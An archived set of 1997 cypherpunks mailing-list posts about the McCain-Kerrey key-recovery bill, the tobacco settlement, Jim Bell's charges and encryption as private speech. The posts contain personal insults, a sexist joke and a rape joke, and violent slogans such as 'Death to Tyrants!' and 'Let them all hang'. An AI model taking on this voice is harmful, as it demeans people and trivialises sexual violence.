> been scads of stories on this precise point, and Clinton is already making
> noises about not signing the legislation unless details are changed.

You are right, I was wrong, the deal does require congressional
action.  You are also right that I haven't been spending a lot of time
following this story.  However, it is obvious, given your obvious lack
of understanding of the details about which suits were blocked and
which were not, that you weren't paying close attention either. 

Relax.  No need to be indignant.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 12 Jul 1997 02:51:07 +0800
To: Alan <cypherpunks@Algebra.COM
Subject: Re: Jim Bell (FINALLY!) Charged
In-Reply-To: <Pine.GSO.3.96.970711091911.1678A-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970711142447.0076de2c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:29 AM 7/11/97 -0700, Alan wrote:
>Oregonian Friday July 11, 1997 Page B3
>
>James D. Bell was charged Wednesday with interfearing with a federal
>officer 

Don't you (or someone you conspire with) actually like have to communicate or 
be in the presence of a federal officer for that federal officer to be 
interfered with?  I don't remember any direct interference from the 
paperwork.

>and using false Social Security numbers.  He has been held without
>bail in the Pierce County Jail since his May 18 arrest.

Sounds dangerous.  How did he use them?

>However, sources close to the case said Thursday that plea negotiations
>are under way and are likely to be concluded before then.

Another one of those face saving plea bargains that the Feds accept when they 
know they've bit the big one.

[Warning old, politically incorrect law school joke coming up.]

What was the biggest charge reduction in the history of plea bargaining?  
That would have been the reduction from a charge of Sodomy to a charge of 
Following Too Close. -- From the International Committee for the Preservation 
of Politically Incorrect Law School Jokes.

>In an affidavit for the search warrant, IRS Special Investigator Jeff
>Gordon said that Bell was "directly soliciting others to set up a system
>to murder government officials" and that he had devised a plan to
>overthrow the government.

So where are these "others" and why are they still being allowed to walk the 
streets?  Last time I looked, it was legal to devise a plan to overthrow the 
government.

They always prey on the weak or sick.

DCF

All right.  You forced me.  "Why do they call it the 'Reasonable Man Test'?  
Because there's no such thing as a reasonable woman."  (See Above)  [Duck and 
Cover!]

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=K6QM
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Neil McKenty (WWBAKL)" <NEILM@GIB.CO.NZ>
Date: Fri, 11 Jul 1997 11:43:35 +0800
To: "'snow'" <tcmay@got.net>
Subject: RE: Recreational pharmaceuticals by genetic engineering
Message-ID: <c=NZ%a=_%p=FCL%l=NATSUP-970711032557Z-198@smtp.fcl.co.nz>
MIME-Version: 1.0
Content-Type: text/plain





>-----Original Message-----
>From:	snow [SMTP:snow@smoke.suba.com]
>Sent:	Friday, 11 July 1997 15:06
>To:	tcmay@got.net
>Cc:	cypherpunks@toad.com
>Subject:	Re: Recreational pharmaceuticals by genetic engineering
>
>> >try to haul off people who have pond scum in their bird feeders and the
>> >like.  (Anything that will make them look even more absurd...)
>> Speaking of which, I recall that the origins of LSD were from some kind of
>> fungus or "rust" found on some types of grain.
>
>	Ergot, a mold that grows on certain types of Rye or fescue, I forget
>which. This is used to make Ergotamine (imine?) which is used in treatment
>of certain types of migraines. 
>
>
>They also use the same mould, ergot, to make hydergine.  A supposed smart
>drug/nutrient.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 06:34:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102807afec609e6821@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:14 PM -0700 7/11/97, Kent Crispin wrote:
>On Fri, Jul 11, 1997 at 12:45:15PM -0700, Tim May wrote:
>[...]
>>
>> Well, what more is there to say? You obviously have not bothered to follow
>> this issue, or you would surely know that a key provision of the deal, and
>> probably one of the main things that made it somewhat attractive to the
>> tobacco companies is that it put an end to future lawsuits.
>
>No, it does not.  It puts an end to certain *kinds* of lawsuits, most
>notably, class action suits, and it limits punitive damages.  But it
>is not a blanket end lawsuits, as you seem to believe.

You're a fool and a knave. You claim I said "all" lawsuits, when it was
clear from my posts, the posts of Peter Swire, and others, that the Deal
involved an end (if upheld) to various kinds of lawsuits, raising serious
constitutional issues.

The "all" is your addition to my words. I don't recall ever making any
statement that "all lawsuits" are blocked, settled, etc. Presumably R.J.
Reynolds could still be sued for having slippery floors in their corporate
buildings...I don't know. What I do know is that the Deal bars lawsuits
from those not even part of the class action lawsuits: it effectively gives
a grant of perpetual immunity for smoking-related damages to the tobacco
companies. _This_ is the main issue being discussed, along with other parts
of the Deal, such as the touted banishment of the Marlboro Man, Joe Camel,
and similar images from all advertising and sponsorship of sporting events.

And to show your knavishness, the point you made was this:

"I don't think it is correct that the deal halts future lawsuits from
other parties, only from the signers of the deal."

This is patently wrong, as the various lawsuits being filed, or planned to
be filed, show. The Deal would halt future lawsuits from smokers, even
those who have not yet engaged in any class action suit (even those who
have not yet started smoking, even those not yet born, as experts
understand the language of the Deal). These are certainly constitutional
issues, not mere agreements between parties to a deal, as you allege.


>> (How could it be otherwise, as a deal?
>
>I don't know, Tim.  It's just that it *is* otherwise, as a deal.

You're disingenuous, as usual. I've come to expect nothing different from you.

The Deal raises substantive issues in many areas, as nearly all news
reports are showing. Critics are emerging from all corners, ranging from
Ralph Nader to the ACLU. Clinton has said he will veto the Congressional
legislation if it enacts the language currently in the Deal. Lawsuits have
already been filed.

>Relax.  No need to be indignant.
>

I'll be indignant if I wish. Your intent clearly is to troll this group
with government-friendly shilling. And like Sternlight, you mask your
ignorance on many issues with pomposity. Like Detweiler and Vulis, your
intent is to disrupt the group.

Taking you out of my Eudora filter file--as I periodically do with almost
everyone in that file--was a mistake. Back in you go.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Sat, 12 Jul 1997 08:25:01 +0800
To: cypherpunks@Algebra.COM
Subject: McCain Open to Key Recovery Alternative                            by Rebecca Vesely                             3:06pm  11.Jul.97.PDT Senator John McCain, sponsor of legislation that                            would create a domestic key recovery system for all encrypted                            commercial transactions and personal communications, said Friday that                            he is open to hearing alternatives to such a plan.                             "We are not wedded entirely to key recovery," the Arizona Republican                            said in an interview.                             McCain, chairman of the Senate Commerce, Science, and Transportation                            Committee, and Senator Bob Kerrey (D-Nebraska) introduced the                            Secure Public Networks Act last month. Privacy advocates and much of                            the high-tech industry oppose domestic key recovery on grounds that it                            would violate civil rights and be impractical and expensive to build and                            manage.                             McCain said he met with Microsoft representatives recently to discuss                            a new technology being developed by the software giant that could be                            less intrusive and problematic than key recovery. The senator also said                            he plans to meet with Netscape officials next week to discuss yet                            another alternative.                             Officials from Netscape were not immediately available for comment.                             "I'm saying, OK, if you have another solution, I'd like to hear it,"                            McCain said, though he stressed that protecting national security                            remains his "first obligation."                             The McCain-Kerrey bill includes provisions for setting up a voluntary                            domestic key recovery system, including incentives for those who                            participate. Critics say participation in the key-management                            infrastructure wouldn't really be voluntary - it would be a                            prerequisite to conducting electronic commerce. Encryption, or                            data-scrambling technology, is widely viewed as the cornerstone to                            e-commerce because it conceals credit card numbers and other personal                            information traveling over networks. Key recovery, as outlined in the                            bill, would create a system of certificate authorities to whom users                            would give a copy of their data keys. Law enforcement could then access                            that copy of your key through a court order.                             McCain's flexibility on the issue could influence the debate over how                            to protect national security while allowing a free market to flourish in                            the digital age.                             Just two days ago, at a Senate Judiciary Committee hearing on the bill,                            FBI director Louis Freeh testified on the need for mandatory domestic                            key recovery, and some senators on the committee, notably the                            chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of                            domestic key recovery is needed to allow law enforcement to wiretap                            suspect digital communications and transactions.
Message-ID: <33C6CF32.6EB8@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.wired.com/news/news/politics/story/5133.html


McCain Open to Key Recovery Alternative

by Rebecca Vesely 
3:06pm  11.Jul.97.PDT 

Senator John McCain, sponsor of legislation that
would create a domestic key recovery system for all encrypted
commercial transactions and personal communications, said Friday that
he is open to hearing alternatives to such a plan. 

"We are not wedded entirely to key recovery," the Arizona Republican
said in an interview. 

McCain, chairman of the Senate Commerce, Science, and Transportation
Committee, and Senator Bob Kerrey (D-Nebraska) introduced the
Secure Public Networks Act last month. Privacy advocates and much of
the high-tech industry oppose domestic key recovery on grounds that it
would violate civil rights and be impractical and expensive to build and
manage. 

McCain said he met with Microsoft representatives recently to discuss
a new technology being developed by the software giant that could be
less intrusive and problematic than key recovery. The senator also said
he plans to meet with Netscape officials next week to discuss yet
another alternative. 

Officials from Netscape were not immediately available for comment. 

"I'm saying, OK, if you have another solution, I'd like to hear it,"
McCain said, though he stressed that protecting national security
remains his "first obligation." 

The McCain-Kerrey bill includes provisions for setting up a voluntary
domestic key recovery system, including incentives for those who
participate. Critics say participation in the key-management
infrastructure wouldn't really be voluntary - it would be a
prerequisite to conducting electronic commerce. Encryption, or
data-scrambling technology, is widely viewed as the cornerstone to
e-commerce because it conceals credit card numbers and other personal
information traveling over networks. Key recovery, as outlined in the
bill, would create a system of certificate authorities to whom users
would give a copy of their data keys. Law enforcement could then access
that copy of your key through a court order. 

McCain's flexibility on the issue could influence the debate over how
to protect national security while allowing a free market to flourish in
the digital age. 

Just two days ago, at a Senate Judiciary Committee hearing on the bill,
FBI director Louis Freeh testified on the need for mandatory domestic
key recovery, and some senators on the committee, notably the
chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
domestic key recovery is needed to allow law enforcement to wiretap
suspect digital communications and transactions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 12 Jul 1997 08:33:01 +0800
To: cypherpunks@Algebra.COM
Subject: McCain Open to Key Recovery Alternative
Message-ID: <Pine.GSO.3.96.970711172601.24515A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



Lets try that again...

http://www.wired.com/news/news/politics/story/5133.html


McCain Open to Key Recovery Alternative

by Rebecca Vesely 
3:06pm  11.Jul.97.PDT 

Senator John McCain, sponsor of legislation that
would create a domestic key recovery system for all encrypted
commercial transactions and personal communications, said Friday that
he is open to hearing alternatives to such a plan. 

"We are not wedded entirely to key recovery," the Arizona Republican
said in an interview. 

McCain, chairman of the Senate Commerce, Science, and Transportation
Committee, and Senator Bob Kerrey (D-Nebraska) introduced the
Secure Public Networks Act last month. Privacy advocates and much of
the high-tech industry oppose domestic key recovery on grounds that it
would violate civil rights and be impractical and expensive to build and
manage. 

McCain said he met with Microsoft representatives recently to discuss
a new technology being developed by the software giant that could be
less intrusive and problematic than key recovery. The senator also said
he plans to meet with Netscape officials next week to discuss yet
another alternative. 

Officials from Netscape were not immediately available for comment. 

"I'm saying, OK, if you have another solution, I'd like to hear it,"
McCain said, though he stressed that protecting national security
remains his "first obligation." 

The McCain-Kerrey bill includes provisions for setting up a voluntary
domestic key recovery system, including incentives for those who
participate. Critics say participation in the key-management
infrastructure wouldn't really be voluntary - it would be a
prerequisite to conducting electronic commerce. Encryption, or
data-scrambling technology, is widely viewed as the cornerstone to
e-commerce because it conceals credit card numbers and other personal
information traveling over networks. Key recovery, as outlined in the
bill, would create a system of certificate authorities to whom users
would give a copy of their data keys. Law enforcement could then access
that copy of your key through a court order. 

McCain's flexibility on the issue could influence the debate over how
to protect national security while allowing a free market to flourish in
the digital age. 

Just two days ago, at a Senate Judiciary Committee hearing on the bill,
FBI director Louis Freeh testified on the need for mandatory domestic
key recovery, and some senators on the committee, notably the
chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
domestic key recovery is needed to allow law enforcement to wiretap
suspect digital communications and transactions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kunt Cribspin <kc@ahole.com>
Date: Sun, 13 Jul 1997 09:06:29 +0800
To: cypherpunks@toad.com
Subject: Tim's research
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <33C6C4E8.F78@ahole.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 12:06 PM -0700 7/11/97, Kent Crispin wrote:
> >On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote:

> Now is it clearer to you what we've been discussing? Jeesh.
> 
> (I could spend more time with HotBot or Alta Vista digging up more news
> stories, inclduding the actual text of the agreement, such as it has been
> publicized, but I don't plan to spend my time recapping the obvious.

> >Could you find a reference to this putative enabling legislation? I
> >think it is a figment of somebody's imagination.
> 
> I just plain give up on you, Kent. You obviously have not been reading or
> following the news. The "deal" requires Congressional action...
> Again,
> spend a few minutes in a search engine. (Try typing "tobacco" into Yahoo's
> news search engine, for example.)

Tim,
I think it was nice of you to take your own time to help Kent not
be so stoopid. He should appreciate it instead of calling you an
asshole since he is lazy and you are not.
I am not lazy and I don't mind doing my own work to find stuff with
a searcher engine but I need help and I thought I would ask you since
you are so helpful and smart with searcher engines.

I lost my pencil. I thought it was on the desk but I looked there,
and underneath it and everything and in the kitchen and I checked
in the couch cushions and the bathroom and I still can't find it.

Can I use the searcher engine to find it? Once I heard about a
cipherpuck list guy that had to use a searcher engine to find 
his shoes so I thought maybe I could use one to find my pencil.

I can't remember my email number but I'm on AOL so when you answer
me you can just go there and ask around if anyone knows me.

Kunt Cribspin
ps -- If Camel has to give up the Camel then does Kool have to give
up the Penguin? Do the people who make poison have to give up the
skull and crossbones guy? A lot of the kids like to be him on 
halloween so I guess he would be a bad influence and kids will
drink poison to be like him.

  Hey, about crypto! Why don't you just call your crypto ^art^, like
movies are? Then you could put foreign subtitles on it or ^dub^ it
on the outside with other words and if the cops complain that it 
doesn't match what is inside then you can tell them that the in
the movies the words don't match the people's lips and ^that's^ not
a crime for chrissake!
  I told my uncle about making cryto into art and he had a good
idea (it's funny).
  He said when the cops complain that they don't understand what
the crypto says that you can offer to tell them what it is about.
  Then you stand back and look at it from a couple different angles
and then you look at them while sweeping your arms around in the air
like a beatnik and you say, "It's about man's inhumanity to man."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 12 Jul 1997 06:51:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Routing around damage
In-Reply-To: <199707112041.WAA07968@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970711175850.26491B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Anonymous wrote:

> Remember "the internet interprets censorship as damage and routes around
> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> routes around it.

It does.. It's just that when you lose a *large* access point, the impact
is significant.  (I think that's what happened here...)

> 
> >A minor construction accident in San Jose, California, caused
> >three hours of Internet slowdowns this morning, especially for
> >those trying to connect to and from West Coast Web sites.
> 
> >Backbone Internet providers route requests and information
> >through about a half-dozen network access points (NAPs).
> >When one has a problem, it can affect the entire Internet.
> 
> 


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 12 Jul 1997 09:09:22 +0800
To: cypherpunks@Algebra.COM
Subject: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: <33C6CF32.6EB8@nwdtc.com>
Message-ID: <v03102800afec868f520e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I changed the message name, as it appeared to be entirely too many lines! :-})

At 5:26 PM -0700 7/11/97, Alan Olsen wrote:

>McCain Open to Key Recovery Alternative
>
>by Rebecca Vesely

>McCain said he met with Microsoft representatives recently to discuss
>a new technology being developed by the software giant that could be
>less intrusive and problematic than key recovery. The senator also said
>he plans to meet with Netscape officials next week to discuss yet
>another alternative.

This is something we should watch _very_ closely!

I cannot imagine any solution acceptable to statists like McCain, Kerrey,
Swinestein, Clinton, Freeh, and all the others that would even remotely be
acceptable to anyone who cherishes liberty.

The extreme danger is that the McCain-Kerrey bill was just so plain
terrible that it is being used as a bargaining chip to get a "compromise."
And that compromise could be fed by helpful, hopeful corporate spinmeisters.

The danger is that the work MS was doing a few years ago on key recovery
could be made part of the basis of the "new industry compromise." I had
hoped this had died when Chairman Gates came out so strongly against key
escrow and GAK in his book.

(The recent discussion of "collective contracts," where an
industry-government deal binds us all, is timely.)

>Just two days ago, at a Senate Judiciary Committee hearing on the bill,
>FBI director Louis Freeh testified on the need for mandatory domestic
>key recovery, and some senators on the committee, notably the
>chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
>domestic key recovery is needed to allow law enforcement to wiretap
>suspect digital communications and transactions.

The ground is shifting rapidly from "we need a law to recapitulate
Americans' right to strong crypto" (Pro-CODE) to "we need key recovery in
exported products and when government networks are involved"
(McCain-Kerrey) to "some sort of domestic key recovery is needed"
(Freeh-Hatch-Pol Pot).

Let them all hang.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 12 Jul 1997 09:45:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Microsoft and Netscape to Provide McCain with Options?
In-Reply-To: <v03102800afec868f520e@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970711182355.24515C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Tim May wrote:

> (I changed the message name, as it appeared to be entirely too many lines! :-})

I accidently pasted the whole message into the subject line.  Netscape
does not show anything beyond the first line, so it went unnoticed until
after I sent it.  Oh well...

> At 5:26 PM -0700 7/11/97, Alan Olsen wrote:
> 
> >McCain Open to Key Recovery Alternative
> >
> >by Rebecca Vesely
> 
> >McCain said he met with Microsoft representatives recently to discuss
> >a new technology being developed by the software giant that could be
> >less intrusive and problematic than key recovery. The senator also said
> >he plans to meet with Netscape officials next week to discuss yet
> >another alternative.
> 
> This is something we should watch _very_ closely!

I agree.  The article seemed to imply that both Microsoft and Netscape
were falling all over each other trying to come up with gak-like
alternatives to key recovery.  I wonder what Tom Weinstien can tell us
about that...  (He has been a bit quiet lately...  Too quiet.)

> I cannot imagine any solution acceptable to statists like McCain, Kerrey,
> Swinestein, Clinton, Freeh, and all the others that would even remotely be
> acceptable to anyone who cherishes liberty.

Neither can I.  They seem to think they have the right and responsibility
to dictate the morals and thoughts of others.  I wonder what the public
response would be if this were a set of laws about opening and recording
the contents of snail-mail?  Or sending mail in envelopes that cannot be
opened without detection...  (Judging by the current cluelessness of the
general public, not much.)

> The extreme danger is that the McCain-Kerrey bill was just so plain
> terrible that it is being used as a bargaining chip to get a "compromise."
> And that compromise could be fed by helpful, hopeful corporate spinmeisters.
> 
> The danger is that the work MS was doing a few years ago on key recovery
> could be made part of the basis of the "new industry compromise." I had
> hoped this had died when Chairman Gates came out so strongly against key
> escrow and GAK in his book.

Anything to make a buck.  Check out Microsoft's crypto API sometime.
There are all sorts of little hooks to enforce the export regs and make
strong crypto difficult.  (Best using another library all together as far
as I am concerned.  Especially since they seem to change the API every
other month.)

> (The recent discussion of "collective contracts," where an
> industry-government deal binds us all, is timely.)

The ties that bind... or choke...

> >Just two days ago, at a Senate Judiciary Committee hearing on the bill,
> >FBI director Louis Freeh testified on the need for mandatory domestic
> >key recovery, and some senators on the committee, notably the
> >chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of
> >domestic key recovery is needed to allow law enforcement to wiretap
> >suspect digital communications and transactions.
> 
> The ground is shifting rapidly from "we need a law to recapitulate
> Americans' right to strong crypto" (Pro-CODE) to "we need key recovery in
> exported products and when government networks are involved"
> (McCain-Kerrey) to "some sort of domestic key recovery is needed"
> (Freeh-Hatch-Pol Pot).

Actually I think that Freeh is being the most honest of the whole bunch.
I don't think any of them believe in free speech for the masses.  (For
them, yes.  For everyone else, no.)  Freeh just has enough of a spin and
created "crisis" for him to get away with it.

And with the new "Child Porn Epedemic"...  It makes me wonder if
"Operation Looking Glass" has moved to the net.  (Covertly, of course.)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 04:13:38 +0800
To: cypherpunks@toad.com
Subject: New Add-On Law / Re: Freeh's Testimony (FBI Seeks Domestic GAK)
Message-ID: <199707111954.VAA02222@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote:
 
> More generally, it is legal not to speak and thus to deprive police and
> prosecutors of the contents of your mind.  Crypto just extends this right.

  Duncan, as he often does, points out a small truth which goes
to the very heart of the issue of criminalizing strong encryption.

  Criminalizing crypto is criminalizing _private_speech_ and also
_private_thought_.
  Mark my words, when the day comes that LEA's have the technology
to read human thoughts, then we will be seeing this same debate 
taking place in that arena. The "legitimate needs of law enforcement"
rhetoric, et al, will be drug out for the billionth time to thwart
the danger that a CypherPunk might fart in the woods without an
LEA recording it.

  Think back to the first time you read "1984" and think about what
you, yourself, could _add_ to the book from your own personal
knowledge and experience since that date.
  If we added all of the instances of "Big Brother" becoming an
accepted reality of everyday life since then, the tome would rival
"War and Peace" in volume and scope.

  If I choose to write my prayers on a word processor, in order to
better organize my spiritual thoughts and be able to reference them
to remember my promises to God, does the State have a right to
demand I let them view those prayers, and private religious thoughts?
  If I use a computer to write my attorney, perhaps even outlining
my activities, etc., in regard to criminal charges against me, does
the State have a right to demand access to it?
  Am I allowed to whisper to my lawyer in court, but not to type
what I want him to know on a computer screen he has in front of
him in the same courtroom?

  Am I allowed to tell a $200/hour psychiatrist that someone made me
mad enough to "kill" them in order to stay sane enough not to do so,
and have it kept confidential, but be denied the right, if I am a
poor person, to do the exact same thing in writing on my computer,
with the help of a $4.95 paperback self-help/psychology book?
  Have private thoughts been "corporatized/governmentized" somehow?
Are our private thoughts sacred only when shared with a recognized
authority? If I share them with myself, do they become the property
of the State?

  Am I totally out of my mind, or has life become tremendously
fucking scary, and nobody but me has noticed?
  Sometimes I feel like the guy on the plane in the "Twilight Zone"
movie, who is the only one who can see the monster on the plane's
wing that is endangering everyone's life. And if you shoot at the
monster nobody else can see, then they strap you down and take you
to the rubber room. (Obvious analogy to McVeigh and Death Row 
purely unintentional.)
  {"Your honor, this search warrant is for the purpose of cracking
the suspect's head open with a crowbar and prying his brain out so
that we can poke around, in _good_faith_, I assure you, and look
for evidence that pertains to a crime that may have been committed.")

  If you don't provide a breathalyzer sample, you are automatically
guilty of drunken driving (even if the DMV License Tester is handing
you a perfect score/report as the officer places you in handcuffs).
  I have no doubt that under future key escrow laws that your prayers
to God and your letters to yourself detailing the most intimate 
details of your life will make you automatically guilty of tax evasion
unless you allow strangers who are hostile to you (police, judges,
prosecutors) to read them.
  Yes, and one day, even our private thoughts will be considered to
automatically make us guilty criminals unless we allow LEA's access
to them. (The "lie detector" is a case in point, and it has in the
past come dangerously close to being afforded the same status as
the breathalyzer, even though it represents "voodoo" as much as it
does "science.")

  If a tree falls in the forest, and nobody hears it--is it a drug
trafficking tree or a child molesting tree?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Sun, 13 Jul 1997 09:06:29 +0800
To: cypherpunks@toad.com
Subject: Re: Potential terrorists
Message-ID: <199707120510.WAA06415@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> wrote:

> The Blair administration has a massive legislative program ahead of it
> undoing 18 years of Tory mismanagement and corruption.

Hmm, let's see: increased taxes, increased interest rates, banning all
handguns, the current hunting ban boondoggle, British Airways on strike... 
somehow I think that 'New Labour' are doing pretty well at instigating
their own program of mismanagement.

Of course, a government which made banning handguns one of it's first
priorities and banning hunting one of the second is hardly likely to be 
a government which will look gladly on the unrestricted use of cryptography.
I won't mention the 'Prevention of Terrorism' act.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 04:51:06 +0800
To: cypherpunks@cyberpass.net
Subject: Routing around damage
Message-ID: <199707112041.WAA07968@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Remember "the internet interprets censorship as damage and routes around
it"?  I'd be happy with an internet that interprets DAMAGE as damage and
routes around it.

>A minor construction accident in San Jose, California, caused
>three hours of Internet slowdowns this morning, especially for
>those trying to connect to and from West Coast Web sites.

>Backbone Internet providers route requests and information
>through about a half-dozen network access points (NAPs).
>When one has a problem, it can affect the entire Internet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 12 Jul 1997 15:00:05 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Routing around damage
In-Reply-To: <199707112041.WAA07968@basement.replay.com>
Message-ID: <v03102802afecd9bc6add@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>On Fri, 11 Jul 1997, Anonymous wrote:
>
>> Remember "the internet interprets censorship as damage and routes around
>> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
>> routes around it.
>
>It does.. It's just that when you lose a *large* access point, the impact
>is significant.  (I think that's what happened here...)

Seems to me that having only a few, heavily trafficed, NAPs is a
topological weakness in the Net which needs to be delt with soon.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:07:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NEWS: Freedom of Movement Could Cripple Cops, FBI Warns
Message-ID: <199707112157.XAA17345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 11 Jul 1997, Tim May wrote:
> No comment needed.
>
> >Freedom of Movement Could Cripple Cops, FBI Warns
> >
> > By Klaus Prime
> >
> >WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
> >his sternest warning yet that freedom of movement by citizen units could
> >wreak havoc on crime-fighting efforts.

This is proof that Freeh has finally learnt to read, and has completed (we
hope) "1984" and is applying it to his own world. Perhaps Freeh wasn't
allowed to become a Big Brother, for the group of the same name.
On Fri, 11 Jul 1997, Tim May wrote:
> No comment needed.
>
> >Freedom of Movement Could Cripple Cops, FBI Warns
> >
> > By Klaus Prime
> >
> >WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
> >his sternest warning yet that freedom of movement by citizen units could
> >wreak havoc on crime-fighting efforts.

This is proof that Freeh has finally learnt to read, and has completed (we
hope) "1984" and is applying it to his own world. Perhaps Freeh wasn't
allowed to become a Big Brother, for the group of the same name.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:24:12 +0800
To: cypherpunks@toad.com
Subject: Re: New Add-On Law
Message-ID: <199707112205.AAA18985@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Can the LEA have a blanket wiretap in a confessional booth 
in hopes of gaining evidence of organized crime? Are they permitted
to monitor all confessions or just the ones stated in the
warrant? 

Do LEA view themselves as God?

Forgive me mother for I have sinned. I have used un-GAKd crypto
in my preperations of my writings about theology. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 06:56:58 +0800
To: cypherpunks@toad.com
Subject: From Bad to Worse / Re: Jim Bell (FINALLY!) Charged
Message-ID: <199707112241.AAA25669@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote:
> >Oregonian Friday July 11, 1997 Page B3
> >
> >James D. Bell was charged Wednesday with interfearing with a federal
> >officer
> >and using false Social Security numbers.  He has been held without
> >bail in the Pierce County Jail since his May 18 arrest.

> [Warning! Old, politically incorrect law school joke coming up.]
> What was the biggest charge reduction in the history of plea bargaining?
> That would have been the reduction from a charge of Sodomy to a charge of
> Following Too Close. -- From the International Committee for the Preservation
> of Politically Incorrect Law School Jokes.

  I was arrested for "arson." They said that if I'd turned her over,
then the charge would have been "rape."
  My lawyer pleaded it down to "assault with a friendly weapon."
(The prosecutor argued for "dangerous weapon," but I was fortunate
enough to have a male judge, so the evidence didn't stand up in
court when it was presented for inspection.)

> >In an affidavit for the search warrant, IRS Special Investigator Jeff
> >Gordon said that Bell was "directly soliciting others to set up a system
